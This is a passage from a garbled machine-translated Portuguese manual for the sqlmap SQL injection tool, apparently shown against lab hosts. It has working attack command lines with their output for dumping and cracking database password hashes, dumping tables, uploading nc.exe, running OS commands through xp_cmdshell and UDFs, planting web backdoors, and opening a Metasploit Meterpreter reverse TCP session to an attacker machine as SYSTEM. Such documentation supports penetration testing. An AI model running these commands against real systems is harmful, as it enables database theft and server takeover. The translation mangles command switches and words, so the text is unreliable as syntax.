tabelas. Alm disso, voc pode executar suas prprias instrues SQL.
Bandeira
Switch: -b ou - bannerA maioria dos modernos sistemas de gesto de banco de dados tem uma
funo e / ou uma varivel de ambiente que retorna o banco de dados de
verso do sistema de gesto e, eventualmente, mais detalhes sobre o seu nvel
de correo, o sistema subjacente. Normalmente, a funo a verso () e o
meio ambiente varivel @ @ verso , mas esta variar de acordo com o alvo
DBMS.
Usurio da sesso
Switch: - corrente de usurio
Na maioria dos SGDBs modernos possvel recuperar o usurio do sistema de
gesto de banco de dados que est efetivamente executando a consulta contra
o DBMS back-end da aplicao web.
Banco de dados atual
Switch: - corrente-db
possvel recuperar o nome do sistema de gerenciamento de banco de dados
do banco de dados que a aplicao web est conectado.
Detectar ou no o usurio da sesso um administrador de banco de
dados
Switch: - -dba

possvel detectar se a atual gesto de dados do usurio da sesso sistema


um administrador de banco de dados, tambm conhecido como DBA. sqlmap
retornar verdadeiro se , vice-versa Falso .
Lista de banco de dados do sistema de gesto de utilizadores
Switch: - usurios
Quando o usurio da sesso tem acesso de leitura para a tabela de sistema que
contm informaes sobre os usurios de SGBD, possvel enumerar a lista
de usurios.
Lista de banco de dados de usurios de crack e de gerenciamento do
sistema hashes de senha
Switches: - senhas- e -U
Quando o usurio da sesso tem acesso de leitura para a tabela de sistema que
contm informaes sobre senhas dos usurios DBMS ", possvel enumerar
os hashes de senha para cada usurio do sistema de gesto de dados. sqlmap
vai primeiro enumerar os usurios, em seguida, os hashes de senha diferentes
para cada um deles.
Exemplo contra um alvo PostgreSQL:
$ Python sqlmap.py-u "http://192.168.136.131/sqlmap/pgsql/get_int.php?
id=1" - senhas-v 1
[...]
back-end SGBD: PostgreSQL
[Hh: mm: 38] [INFO] usurios de banco de dados ir buscar os hashes de
senha
voc quer usar o ataque de dicionrio em hashes de senha recuperados?
[Y / n / q] y
[Hh: mm: 42] [INFO] utilizando o mtodo de hash: 'postgres_passwd'
o que a localizao do dicionrio? [/ Software / sqlmap / txt /
wordlist.txt]
[Hh: mm: 46] [INFO] dicionrio de carregamento: '/ software / sqlmap /
txt / wordlist.txt'
voc quer usar sufixos senha comum? (Slow!) [y / N] n
[Hh: mm: 48] [INFO] ataque de dicionrio de partida (postgres_passwd)
[Hh: mm: 49] [INFO] encontrado: 'testpass "para o usurio' testuser '
[Hh: mm: 50] [INFO] encontrado: 'testpass "para o usurio' postgres '
banco de dados de usurios do sistema de gesto hashes de senha:
[*] Postgres [1]:
hash da senha: md5d7d880f96044b72d0bba108ace96d1e4
clear-text password: testpass
[*] Testuser [1]:
hash da senha: md599e5ea7a6f7c3269995cba3927fd0093
clear-text password: testpass

No s sqlmap enumerou os usurios DBMS e suas senhas, mas tambm


reconheceu o formato de hash para ser PostgreSQL, perguntou ao usurio se
ou no para testar os hashes contra um arquivo de dicionrio e identificou a
senha de texto claro para o postgres usurio, que geralmente um DBA ao
longo do outro usurio, testuser , senha.
Este recurso foi implementado para todos os DBMS onde possvel enumerar
os hashes de senha dos usurios, incluindo Oracle e Microsoft SQL Server pr
e ps 2005.

Voc tambm pode fornecer a -U opo para especificar o usurio especfico


que voc quer para enumerar e, eventualmente, quebrar o hash da senha
(s). Se voc fornecer CU como nome de usurio que ir consider-lo como um
alias para o usurio atual e ir recuperar o hash da senha (s) para este usurio.
Lista de usurios do sistema de gerenciamento de banco privilgios
Switches: - de privilgios e -U
Quando o usurio da sesso tem acesso de leitura para a tabela de sistema que
contm informaes sobre os usurios de SGBD, possvel enumerar os
privilgios para cada usurio do sistema de gesto de dados. Pelos privilgios,
sqlmap tambm vai mostrar quais so os administradores de banco de dados.
Voc tambm pode fornecer a -U opo para especificar o usurio que voc
deseja para enumerar os privilgios.
Se voc fornecer CU como nome de usurio que ir consider-lo como um alias
para o usurio atual e enumerar os privilgios para esse usurio.
No Microsoft SQL Server, esse recurso ir mostrar-lhe ou no cada usurio
um administrador de banco de dados, em vez de a lista de privilgios para
todos os usurios.
Lista de sistemas de gerenciamento de banco usurios papis
Switches: - papis- e -U
Quando o usurio da sesso tem acesso de leitura para a tabela de sistema que
contm informaes sobre os usurios de SGBD, possvel enumerar as
funes para cada usurio do sistema de gesto de dados.
Voc tambm pode fornecer a -U opo para especificar o usurio que voc
deseja para enumerar os privilgios.
Se voc fornecer CU como nome de usurio que ir consider-lo como um alias
para o usurio atual e enumerar os privilgios para esse usurio.
Esse recurso s est disponvel quando o SGBD Oracle.
Bases de dados lista de sistema de gesto de banco de dados
Switch: - dbsQuando o usurio da sesso tem acesso de leitura para a tabela de sistema que
contm informaes sobre os bancos de dados disponveis, possvel
enumerar a lista de bancos de dados.
Enumerar as tabelas de
Switches: - mesas , D- e - excluem--sysdbs
Quando o usurio da sesso tem acesso de leitura para a tabela de sistema que
contm informaes sobre as tabelas de bancos de dados ", possvel
enumerar a lista de tabelas para bancos de dados de um sistema de gesto
especfico banco de dados.
Se voc no fornecer um banco de dados especfico com chave -D , sqlmap ir
enumerar as tabelas para todos os bancos de dados DBMS.
Voc tambm pode fornecer a - excluem-sysdbs- chave para excluir todos os
bancos de dados do sistema.

Note-se que no Oracle voc tem que fornecer o tablespace_name em vez do


nome do banco.
Colunas da tabela de banco de dados enumerar
Switches: - -colunas , -C , -T e -D
Quando o usurio da sesso tem acesso de leitura para a tabela de sistema que
contm informaes sobre as tabelas de banco de dados, possvel enumerar a
lista de colunas de uma tabela de banco de dados especfico. sqlmap tambm
enumera o tipo de dados para cada coluna.
Este recurso depende da opo T- para especificar o nome da tabela e,
opcionalmente, em -D para especificar o nome do banco de dados. Quando o
nome do banco de dados no especificado, o nome do banco de dados atual
ser usado. Voc tambm pode fornecer a -C opo para especificar o nome da
tabela colunas como a que forneceu a ser enumerado.
Exemplo contra um alvo SQLite:
$ Python sqlmap.py-u
"http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" - colunas \
-D-T testdb nome de usurios-C
[...]
Banco de dados: SQLite_masterdb
Tabela: usurios
[3 colunas]
+ --------- + --------- +
| Coluna | Tipo |
+ --------- + --------- +
| Id | INTEGER |
| Nome | Texto |
| Sobrenome | Texto |
+ --------- + --------- +

Note que em PostgreSQL voc tem que fornecer pblico ou o nome de um


banco de dados do sistema. Isso porque no possvel enumerar outras tabelas
bancos de dados, somente as tabelas no esquema que o usurio da aplicao
Web est conectado, que sempre alias por pblico .
Despejar entradas da tabela de banco de dados
Switches: - despejo- , -C , -T , -D , - start- , - stop , - em primeira e - lastQuando o usurio da sesso tem acesso de leitura para a mesa um banco de
dados especfico, possvel despejar as entradas da tabela.
Esta funcionalidade depende da chave -T para especificar o nome da tabela e,
opcionalmente, em chave -D para especificar o nome do banco de dados. Se o
nome da tabela fornecida, mas o nome do banco de dados no , o nome do
banco de dados atual ser usado.
Exemplo contra um alvo Firebird:
$ Python sqlmap.py-u
"http://192.168.136.131/sqlmap/firebird/get_int.php?id=1" - dump Tusurios
[...]
Banco de dados: Firebird_masterdb
Tabela: USURIOS
[4 entradas]
+ ---- + -------- + ------------ +

|
+
|
|
|
|
+

ID | NOME | Apelido |
---- + -------- + ------------ +
1 | luther | Blisset |
2 | coelho | fofo |
3 | Wu | ming |
4 | NULL | nameisnull |
---- + -------- + ------------ +

Esta opo tambm pode ser usado para despejar entradas de todas as tabelas
"de um banco de dados fornecido. Voc simplesmente tem que fornecer
sqlmap com o - dump- chave junto com apenas o D- switch, no-T e no -C .
Voc tambm pode fornecer uma lista separada por vrgulas de colunas
especficas para despejar com o C- switch.
sqlmap tambm gera para cada tabela jogou as entradas em um arquivo no
formato CSV textual. Voc pode ver o caminho absoluto onde sqlmap cria o
arquivo, proporcionando um nvel de detalhamento maior ou igual a 1 .
Se voc quiser jogar apenas um intervalo de entradas, ento voc pode
fornecer chaves - a partida e / ou - , parar , respectivamente, comeam a
despejar a partir de um determinado item e parar o despejo em um
determinado item. Por exemplo, se voc quiser jogar apenas a primeira
entrada, fornecer - parar-1 na linha de comando. Vice-versa, se, por exemplo,
voc quiser jogar apenas a entrada do segundo e terceiro, fornecer - de
incio 1 - 3-stop .
Tambm possvel especificar qual personagem nica ou intervalo de
caracteres para despejar com interruptores - em primeira e - da ltima . Por
exemplo, se voc deseja despejar entradas colunas "do terceiro para o quinto
personagem, fornecer - primeiro-3 - 5-ltimo . Este recurso s se aplica s
tcnicas de injeo SQL cegos porque para erro e baseada em consulta unio
tcnicas de injeo SQL, o nmero de pedidos exatamente o mesmo,
independentemente da durao da sada da coluna de entrada para despejar.
Como voc pode ter notado por agora, sqlmap flexvel : voc pode deix-lo
automaticamente para descarregar a tabela banco de dados inteiro ou voc
pode ser muito preciso em que os personagens de despejo, do qual colunas e
que vo de entradas.
Despejar todas as entradas de tabelas de bases de dados
Switches: - despejo-todos- e - excluem--sysdbs
possvel despejar todas as entradas de tabelas de bases de dados de uma vez
que o usurio da sesso tem acesso de leitura.
Voc tambm pode fornecer a - excluem-sysdbs- chave para excluir todos os
bancos de dados do sistema. Nesse caso sqlmap s despejar entradas de mesas
de bancos de dados dos usurios.
Note-se que no Microsoft SQL Server o mestre banco de dados no
considerado um banco de dados do sistema, porque alguns administradores de
banco de dados us-lo como um banco de dados dos usurios.
Busca de colunas, tabelas ou bases de dados
Switches: - busca- , -C , -T , -D

Este interruptor permite procurar por nomes de banco de dados especficas,


tabelas especficas em todas as bases de dados ou colunas especficas em
tabelas todos os bancos de dados " .
Isso til, por exemplo, para identificar as tabelas que contm as credenciais
de aplicativos personalizados onde os nomes de colunas relevantes "contm
string como nome e passe .
O interruptor - procura de necessidades a serem utilizados em conjunto com
um dos comutadores de suporte a seguir:
-C seguindo uma lista de nomes separados por vrgula coluna para
procurar em todo o sistema de gesto de dados.
-T seguindo uma lista de nomes separados por vrgula tabela de olhar
para todo o sistema de gesto de dados.
-D seguindo uma lista de nomes separados por vrgula banco de dados
para procurar em todo o sistema de gerenciamento de banco de dados.
Executar instruo SQL personalizada
Switches: - sql-query e - sql-shell
A consulta SQL e os recursos do SQL shell permitem executar declaraes
SQL arbitrrias sobre o sistema de gerenciamento de banco de dados. sqlmap
automaticamente disseca a declarao fornecida, determina que a tcnica
adequada a utilizao para injet-lo e como embalar a carga SQL
conformidade.
Se a consulta uma SELECIONAR declarao, sqlmap ir recuperar sua
sada. Caso contrrio, ele ir executar a consulta por meio da tcnica de
injeo empilhados consulta SQL se o aplicativo da web suporta vrias
instrues sobre o sistema de gerenciamento de banco de dados de backend. Cuidado que algumas tecnologias de aplicaes web no suportam
consultas empilhadas sobre sistemas de gesto de banco de dados
especficos. Por exemplo, o PHP no suporta consultas empilhados quando o
SGBD back-end o MySQL, mas suporta quando o DBMS back-end o
PostgreSQL.
Exemplos contra um Microsoft SQL Server 2000-alvo:
$ Python sqlmap.py-u "http://192.168.136.131/sqlmap/mssql/get_int.php?
id=1" - sql-query \
"SELECT 'foo'"-v 1
[...]
[Hh: mm: 14] [INFO] buscar a sada da consulta SQL SELECT: 'SELECT'
foo''
[Hh: mm: 14] [INFO] acessado: foo
SELECT 'foo': 'foo'
$ Python sqlmap.py-u "http://192.168.136.131/sqlmap/mssql/get_int.php?
id=1" - sql-query \
"SELECT 'foo', 'bar'"-v 2
[...]
[Hh: mm: 50] [INFO] buscar a sada da consulta SQL SELECT: 'SELECT'
foo ',' bar''

[Hh: mm: 50] [INFO] a consulta SQL fornecido tem mais de um campo.
sqlmap agora ir descompact-lo em
consultas distintas para ser capaz de recuperar a sada, mesmo se
estamos a ficar cego
[Hh: mm: 50] [DEBUG] consulta: SELECT ISNULL (CAST ((CHAR (102) + CHAR
(111) + CHAR (111)) AS VARCHAR (8000)),
(CHAR (32)))
[Hh: mm: 50] [INFO] acessado: foo
[Hh: mm: 50] [DEBUG] realizadas 27 consultas em 0 segundos
[Hh: mm: 50] [DEBUG] consulta: SELECT ISNULL (CAST ((CHAR (98) + CHAR
(97) + CHAR (114)) AS VARCHAR (8000)),
(CHAR (32)))
[Hh: mm: 50] [INFO] recuperados: bar
[Hh: mm: 50] [DEBUG] realizadas 27 consultas em 0 segundos
SELECT 'foo', 'bar': 'foo, bar'

Como voc pode ver, sqlmap divide a consulta fornecida em duas


diferentes de SELECT declaraes seguida, recupera a sada para cada consulta
separada.
Se a consulta fornecido um SELECIONAR declarao e contm uma DE clusula,
sqlmap vai perguntar se tal declarao pode retornar mltiplas entradas. Nesse
caso, a ferramenta sabe como descompactar a consulta corretamente para
contar o nmero de entradas possveis e recuperar sua sada, entrada por
entrada.
O SQL opo shell permite que voc execute sua prpria instruo SQL de
forma interativa, como um console SQL conectado ao sistema de
gerenciamento de banco de dados. Este recurso fornece a concluso TAB e
histrico de suporte tambm.

5,10 fora bruta


Essas opes podem ser usadas para executar verificaes de fora bruta.
Mesas nomes de fora bruta
Switches: - comum mesas
H casos em que - - mesas de mudana no pode ser usado para recuperar os
nomes dos bancos de dados "da tabela. Estes casos geralmente se encaixam
em uma das seguintes categorias:
O sistema de gerenciamento de banco de dados MySQL <5,0 ,
onde information_schema no est disponvel.
O sistema de gerenciamento de banco de dados o Microsoft Access e
tabelas do sistema MSysObjects no legvel - configurao padro.
O usurio da sesso no tem privilgios de leitura contra a tabela do
sistema armazenar o esquema das bases de dados.
Se qualquer um dos dois primeiros casos se aplicam e que forneceu
o - - tabelas switch, sqlmap ir pedir-lhe com uma pergunta a cair de volta a
esta tcnica. Qualquer destes casos se aplicam sua situao, sqlmap pode
possivelmente ainda identificar algumas tabelas existentes, se voc fornec-lo
com o - comum mesas- switch. sqlmap ir realizar um ataque de fora bruta, a
fim de detectar a existncia de tabelas comuns em todo o DBMS.

A lista de nomes de tabela comuns txt


edit-lo como quiser.
Exemplo, contra um 4,1 MySQL alvo:

/ common-tables.txt

e voc pode

$ Python sqlmap.py-u "http://192.168.136.129/mysql/get_int_4.php?id=1"


\
- Comum mesas-D testdb - bandeira
[...]
[Hh: mm: 39] [INFO] teste MySQL
[Hh: mm: 39] [INFO] confirmando MySQL
[Hh: mm: 40] [INFO] o back-end SGBD MySQL
[Hh: mm: 40] [INFO] bandeira fetching
web sistema operacional do servidor: Windows
tecnologia de aplicao web: PHP 5.3.1, Apache 2.2.14
back-end do sistema operacional DBMS: Windows
back-end SGBD: MySQL <5.0.0
banner: '4 .1.21-comunidade-nt '
[Hh: mm: 40] [INFO] verificao de existncia tabela usando itens de
'/ software / sqlmap / txt / tables.txt-comum "
[Hh: mm: 40] [INFO] adio de palavras usadas na pgina web para a
lista de verificao
por favor digite o nmero de threads? [Enter para 1 (atual)] 8
[Hh: mm: 43] [INFO] recuperados: usurios
Banco de dados: testdb
[1] tabela
+ ------- +
| Usurios |
+ ------- +

Colunas nomes de fora bruta


Switches: - comum-colunas
Como por mesas, h casos em que - - colunas interruptor no pode ser usado
para recuperar nomes de "quadros" as bases de dados da coluna. Estes casos
geralmente se encaixam em uma das seguintes categorias:
O sistema de gerenciamento de banco de dados MySQL <5,0 ,
onde information_schema no est disponvel.
O sistema de gerenciamento de banco de dados o Microsoft Access
em que este tipo de informao no est disponvel dentro de tabelas do
sistema.
O usurio da sesso no tem privilgios de leitura contra a tabela do
sistema armazenar o esquema das bases de dados.
Se qualquer um dos dois primeiros casos se aplicam e que forneceu
o - - colunas switch, sqlmap ir pedir-lhe com uma pergunta a cair de volta a
esta tcnica. Qualquer destes casos se aplicam sua situao, sqlmap pode
possivelmente ainda identificar algumas tabelas existentes, se voc fornec-lo
com o - comum-colunas interruptor. sqlmap ir realizar um ataque de fora
bruta, a fim de detectar a existncia de colunas comuns em todo o DBMS.
A lista de nomes de tabela comuns txt / common-columns.txt e voc pode
edit-lo como quiser.

5,11 definido pelo usurio injeo funo


Essas opes podem ser usadas para criar personalizado funes definidas
pelo usurio.
Injectar personalizados funes definidas pelo usurio (UDF)
Switches: - udf-injectar- e - compartilhada-lib
Voc pode injetar suas prprias funes definidas pelo usurio (UDF)
compilando um MySQL ou PostgreSQL biblioteca compartilhada DLL, para
Windows e objeto compartilhado para Linux / Unix, ento, fornecer sqlmap
com o caminho onde a biblioteca compartilhada armazenada localmente na
sua mquina. sqlmap ir ento pedir-lhe algumas perguntas, fazer upload a
biblioteca compartilhada no sistema de arquivos de banco de dados do
servidor, criar a funo definida pelo usurio (s) a partir dele e, dependendo de
suas opes, execut-los. Quando voc terminar de usar as UDFs injetados,
sqlmap tambm pode remov-los do banco de dados para voc.
Estas tcnicas so detalhados no papel branco avanada de injeo SQL para
controle operacional total do sistema .
Use mudar - , udf-injectar e siga as instrues.
Se voc quiser, voc pode especificar a biblioteca compartilhada caminho do
sistema de arquivos local via linha de comando tambm
usando - compartilhada-lib opo. Sqlmap vice-versa ir pedir-lhe para o
caminho em tempo de execuo.
Este recurso est disponvel somente quando o sistema de gerenciamento de
banco de dados o MySQL ou PostgreSQL.

5,12 de acesso ao sistema de arquivo


Ler um arquivo de sistema do servidor de banco de dados de arquivos
Switch: - leia-file possvel recuperar o contedo de arquivos do sistema de arquivos
subjacente quando o back-end do sistema de gesto de banco de dados ou
MySQL, PostgreSQL ou Microsoft SQL Server, eo usurio sesso tem os
privilgios necessrios para abusar funcionalidades de banco de dados e
fraquezas especficas de arquitetura. O ficheiro especificado pode ser um texto
ou um ficheiro binrio. sqlmap vai lidar com isso adequadamente.
Estas tcnicas so detalhados no papel branco avanada de injeo SQL para
controle operacional total do sistema .
Exemplo, contra um Microsoft SQL Server 2005 meta de recuperar um
arquivo binrio:
$ Python sqlmap.py-u
"http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther" \
- Arquivo de leitura "C :/ example.exe"-v 1
[...]
[Hh: mm: 49] [INFO] o back-end DBMS o Microsoft SQL Server
web sistema operacional do servidor: Windows 2000
tecnologia de aplicao web: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005

[Hh: mm: 50] [INFO] buscar o arquivo: 'C :/ example.exe'


[Hh: mm: 50] [INFO] a consulta SQL fornecidos retorna 3 entradas
C file :/ example.exe salvos: '/
software/sqlmap/output/192.168.136.129/files/C__example.exe'
[...]
$ Ls-l output/192.168.136.129/files/C__example.exe
-Rw-r - r - 1 inquis inquis 2560 2011-MM-DD hh: mm
output/192.168.136.129/files/C__example.exe
$ Arquivo output/192.168.136.129/files/C__example.exe
output/192.168.136.129/files/C__example.exe: PE32 executvel para MS
Windows (GUI) Intel
80386 32-bit

Enviar um arquivo de sistema do servidor de banco de dados de arquivos


Switches: - write-arquivo- e - de arquivo-dest
possvel fazer upload de um arquivo local para o servidor de banco de dados
do sistema de arquivos quando o back-end do sistema de gesto de banco de
dados ou MySQL, PostgreSQL ou Microsoft SQL Server, eo usurio sesso
tem os privilgios necessrios para abusar funcionalidades de banco de dados
e fraquezas especficas de arquitetura. O ficheiro especificado pode ser um
texto ou um ficheiro binrio. sqlmap vai lidar com isso adequadamente.
Estas tcnicas so detalhados no papel branco avanada de injeo SQL para
controle operacional total do sistema .
Exemplo contra um alvo MySQL para carregar um arquivo UPX-comprimido
binrio:
$ Arquivo / software / nc.exe.packed
/ Software / nc.exe.packed: PE32 executvel para MS Windows (console)
Intel 80386 32-bit
$ Ls-l / software / nc.exe.packed
-Rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh: mm / software /
nc.exe.packed
$ Python sqlmap.py-u
"http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" - arquivoescrever \
"/ Software / nc.exe.packed" - arquivo-destino "C :/ WINDOWS /
Temp / nc.exe"-v 1
[...]
[Hh: mm: 29] [INFO] o back-end SGBD MySQL
web sistema operacional do servidor: Windows 2003 ou 2008
tecnologia de aplicao web: ASP.NET, Microsoft IIS 6.0, ASP.NET
2.0.50727
back-end SGBD: MySQL> = 5.0.0
[...]
voc quer a confirmao de que o arquivo 'C :/ WINDOWS / Temp /
nc.exe' foi sucesso
escrita no sistema de arquivos de back-end SGBD? [Y / n] y
[Hh: mm: 52] [INFO] acessado: 31744
[Hh: mm: 52] [INFO] O arquivo foi gravado com sucesso e seu tamanho
de 31.744 bytes,
mesmo tamanho de 'software / / nc.exe.packed' o arquivo local

5,13 aquisio do sistema operacional


Executar comando de sistema operacional arbitrrio
Switches: - -os-cmd e - -os-shell
possvel executar comandos arbitrrios no sistema do servidor de banco
de dados operacional subjacente quando o back-end do sistema de gesto de
banco de dados ou MySQL, PostgreSQL ou Microsoft SQL Server, eo
usurio sesso tem os privilgios necessrios para abusar funcionalidades de
banco de dados e fraquezas especficas de arquitetura.
Em MySQL e PostgreSQL, envios sqlmap (atravs do upload de arquivos
funcionalidade explicado acima) uma biblioteca compartilhada (arquivo
binrio), contendo duas funes definidas pelo usurio, sys_exec () esys_eval
() , em seguida, ele cria essas duas funes no banco de dados e chama um
deles para executar o comando especificado, dependendo da escolha do
usurio para exibir a sada padro ou no. Em Microsoft SQL Server, abusos
sqlmap o xp_cmdshell procedimento armazenado: se for desativado (por
padro no Microsoft SQL Server> = 2005), sqlmap reativ-la e, se ele no
existe, sqlmap cria a partir do zero.
Quando o usurio solicita a sada padro, sqlmap usa uma das tcnicas de
enumerao de injeo SQL (cego, inband ou erro-based) para recuperlo. Vice-versa, se a sada padro no necessrio, empilhados consulta tcnica
de injeo SQL usado para executar o comando.
Estas tcnicas so detalhados no papel branco avanada de injeo SQL para
controle operacional total do sistema .
Exemplo contra um alvo PostgreSQL:
$ Python sqlmap.py-u "http://192.168.136.131/sqlmap/pgsql/get_int.php?
id=1" \
- Os-cmd-id v 1
[...]
tecnologia de aplicao web: PHP 5.2.6, Apache 2.2.9
back-end SGBD: PostgreSQL
[Hh: mm: 12] [INFO] impresses digitais do back-end do sistema
operacional DBMS
[Hh: mm: 12] [INFO] o back-end do sistema operacional o Linux DBMS
[Hh: mm: 12] [INFO] teste se o usurio atual DBA
[Hh: mm: 12] [INFO] deteco de back-end verso DBMS de sua bandeira
[Hh: mm: 12] [INFO] Verificando se 'sys_eval' UDF j existem
[Hh: mm: 12] [INFO] verificar se 'sys_exec' UDF j existem
[Hh: mm: 12] [INFO] criar "sys_eval 'UDF do arquivo binrio UDF
[Hh: mm: 12] [INFO] criar "sys_exec 'UDF do arquivo binrio UDF
quer recuperar a sada padro de comando? [Y / n / a] y
sada do comando padro: "uid = 104 (postgres) gid = 106 (postgres)
grupos = 106 (postgres) '
[Hh: mm: 19] [INFO] limpeza do sistema de gerenciamento de banco de
dados
voc quer remover 'sys_eval' UDF? [Y / n] y
voc quer remover 'sys_exec' UDF? [Y / n] y
[Hh: mm: 23] [INFO] banco de dados de limpeza do sistema de gesto
terminou

[Hh: mm: 23] [AVISO] lembrar que arquivos de objetos compartilhados


UDF salvos no sistema de arquivos pode
s pode ser excludo manualmente

Tambm possvel simular um escudo real onde voc pode digitar tantos
comandos arbitrrios como voc deseja. A opo - -os-shell e tem as
funcionalidades mesma guia de concluso e histrico que - sql-shell tem.
Onde as consultas empilhadas no foi identificado na aplicao web (por
exemplo, PHP ou ASP com back-end sistema de gerenciamento de banco de
dados sendo MySQL) eo SGBD o MySQL, que ainda possvel abusar
do SELECIONAR clusula INTO OUTFILE para criar um backdoor web em um
gravvel pasta dentro da raiz do documento do servidor web e ainda se a
execuo do comando assumindo o DBMS back-end eo servidor web esto
hospedados no mesmo servidor. sqlmap suporta essa tcnica e permite que o
usurio fornea uma lista separada por vrgula de raiz de documentos
possveis sub-pastas onde tenta fazer o upload do arquivo stager web eo
backdoor web subseqente. Alm disso, tem as suas prprias sqlmap stagers
web testados arquivo e backdoors para os seguintes idiomas:
ASP
ASP.NET
JSP
PHP
Out-of-band conexo stateful: Meterpreter e amigos
Switches: - -os-pwn , - O Rel SMB-os- , - -os-bof , - priv-esc- , - msfcaminho- e - tmp-caminho possvel estabelecer um out-of-band stateful conexo TCP entre a
mquina atacante e banco de dados servidor do sistema operacional
subjacente quando o back-end do sistema de gesto de banco de dados ou
MySQL, PostgreSQL ou Microsoft SQL Server, e o usurio da sesso tem o
necessrio privilgios para abusar funcionalidades de banco de dados e
fraquezas especficas de arquitetura. Esse canal pode ser um prompt de
comando interativo, uma sesso Meterpreter ou uma interface grfica de
usurio da sesso (VNC), como a escolha do usurio acutes.
sqlmap depende Metasploit para criar o shellcode e implementa quatro
diferentes tcnicas para execut-lo no servidor de banco de dados. Estas
tcnicas so:
Banco de dados de execuo na memria de shellcode o
Metasploit via sqlmap prpria funo definida pelo
usurio sys_bineval () . Suportado em MySQL e PostgreSQL interruptor - -os-pwn .
Upload e execuo de um Metasploit stager carga autnomo via
sqlmap prpria funo definida pelo usurio sys_exec () em MySQL e
PostgreSQL ou via xp_cmdshell () no Microsoft SQL Server interruptor - -os-pwn .

Execuo de shellcode Metasploit realizando um ataque reflexo


SMB ( MS08-068 ) com um pedido de caminho UNC do servidor de
banco de dados para a mquina do atacante, onde o
Metasploitsmb_relay exploit servidor escuta. Apoiado ao executar
sqlmap com privilgios elevados ( uid = 0 ) no Linux / Unix e os
DBMS destino executado como administrador no Windows interruptor - O Rel SMB-os- .
Execuo de banco de dados em memria de shellcode o Metasploit,
explorando o Microsoft SQL Server 2000 e
2005 sp_replwritetovarbin procedimento armazenado buffer
overflow baseado em pilha ( MS09-004 ). sqlmap tem seu prprio
exploit para acionar a vulnerabilidade com desvio automtico proteo
DEP memria, mas depende de Metasploit para gerar o shellcode
comear executado sobre a explorao bem-sucedida - interruptor - os-bof .
Estas tcnicas so detalhados no papel branco avanada de injeo SQL para
controle de sistema operacional completo e no conjunto de slides Expandindo
o controle sobre o sistema operacional a partir do banco de dados .
Exemplo contra um alvo MySQL:

$ Python sqlmap.py-u
"http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?id=1" - ospwn \
- Msf caminho / software / metasploit
[...]
[Hh: mm: 31] [INFO] o back-end SGBD MySQL
web sistema operacional do servidor: Windows 2003
tecnologia de aplicao web: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS
6.0
back-end SGBD: MySQL 5.0
[Hh: mm: 31] [INFO] impresses digitais do back-end do sistema
operacional DBMS
[Hh: mm: 31] [INFO] o back-end do sistema operacional o Windows DBMS
como que voc quer para estabelecer o tnel?
[1] TCP: Metasploit Framework (padro)
[2] ICMP: icmpsh - ICMP tunneling
>
[Hh: mm: 32] [INFO] teste se o usurio atual DBA
[Hh: mm: 32] [INFO] usurio buscar atual
o que o banco de dados de back-end arquitetura de sistema de gesto?
[1] de 32 bits (padro)
[2] de 64 bits
>
[Hh: mm: 33] [INFO] verificar se 'sys_bineval' UDF j existem
[Hh: mm: 33] [INFO] verificar se 'sys_exec' UDF j existem
[Hh: mm: 33] [INFO] deteco de back-end verso DBMS de sua bandeira
[Hh: mm: 33] [INFO] recuperar MySQL caminho do diretrio base absoluta
[Hh: mm: 34] [INFO] criar "sys_bineval 'UDF do arquivo binrio UDF
[Hh: mm: 34] [INFO] criar "sys_exec 'UDF do arquivo binrio UDF
como que voc quer executar o shellcode Metasploit no banco de dados
de back-end subjacente
sistema operacional?
[1] Via 'sys_bineval "UDF (em memria maneira, anti-forense, default)
[2] stager carga autnomo (como sistema de arquivo)

>
[Hh: mm: 35] [INFO] criando Metasploit Framework 3 shellcode multiestgio
que tipo de conexo voc quer usar?
[1] Reverso TCP: Ligue de volta a partir do host do banco de dados a
esta mquina (padro)
[2] Reverso TCP: Tente ligar de volta a partir do host do banco de
dados a esta mquina, em todas as portas
entre o especificado e 65535
[3] Bind TCP: Oua no host do banco de dados para uma conexo
>
que o endereo do local? [192.168.136.1]
qual o nmero de porta local que voc quer usar? [60641]
carga que voc quer usar?
[1] Meterpreter (padro)
[2] Shell
[3] VNC
>
[Hh: mm: 40] [INFO] criao em progresso ... feito
[Hh: mm: 43] [INFO] execuo Metasploit Framework 3 interface de linha
de comando localmente, aguarde por favor ..
_
| | O

_____ | ___, _ | | ___ | _


/ | / | / | | / | / | / \ _ | / \ _ | / / \ _ | |
| | | _ / | __ / | _ / \ _ / | _ / \ / | __ / | __ / \ __ / | _ / |
_ /
/ |
\ |
=
+ ---- =
+ ---- =
=

[Metasploit v3.7.0-dev ncleo [: 3,7 api: 1,0]


[674 exploits - 351 auxiliar
[217 cargas - 27 encoders - 8 nops
[Svn r12272 atualizado 4 dias atrs (2011/04/07)

PAYLOAD => windows / Meterpreter / reverse_tcp


EXITFUNC = fio>
LPORT => 60641
LHOST => 192.168.136.1
[*] Manipulador reverso Iniciado em 192.168.136.1:60641
[*] A partir do manipulador de carga ...
[Hh: mm: 48] [INFO] Metasploit Framework 3 correndo shellcode
remotamente via 'sys_bineval' UDF,
aguarde por favor ..
[*] Envio de estgio (749.056 bytes) para 192.168.136.129
[*] Meterpreter uma sesso aberta (192.168.136.1:60641 ->
192.168.136.129:1689) na segunda abr 11
hh: mm: 52 0100 2011
Meterpreter> extenso Carregando ... espia sucesso.
Meterpreter> extenso Carregando incgnito ... sucesso.
Meterpreter> [-] O 'priv' extenso j foi carregado.
Meterpreter> sniffer extenso Carregando ... sucesso.
Meterpreter> Idioma do Sistema: en_US
OS: Windows Server NET (Build 3790, Service Pack 2)..
Computador: W2K3R2
Arquitetura: x86
Meterpreter: x86/win32
Meterpreter> Servidor usurio: NT AUTHORITY \ SYSTEM

Meterpreter> ipconfig
MS TCP Loopback interface de
Hardware MAC: 00:00:00:00:00:00
Endereo IP: 127.0.0.1
Netmask: 255.0.0.0

Intel (R) PRO/1000 MT Network Connection


Hardware MAC: 00:00 c: 29: fc: 79:39
Endereo IP: 192.168.136.129
Netmask: 255.255.255.0
Meterpreter sada>
[*] Meterpreter uma sesso fechada. Motivo: sada de usurio

Por padro o MySQL no Windows executado como SYSTEM , no entanto


PostgreSQL executado como um baixo privilgio usurio postgres em
Windows e Linux. Microsoft SQL Server 2000 por padro executado
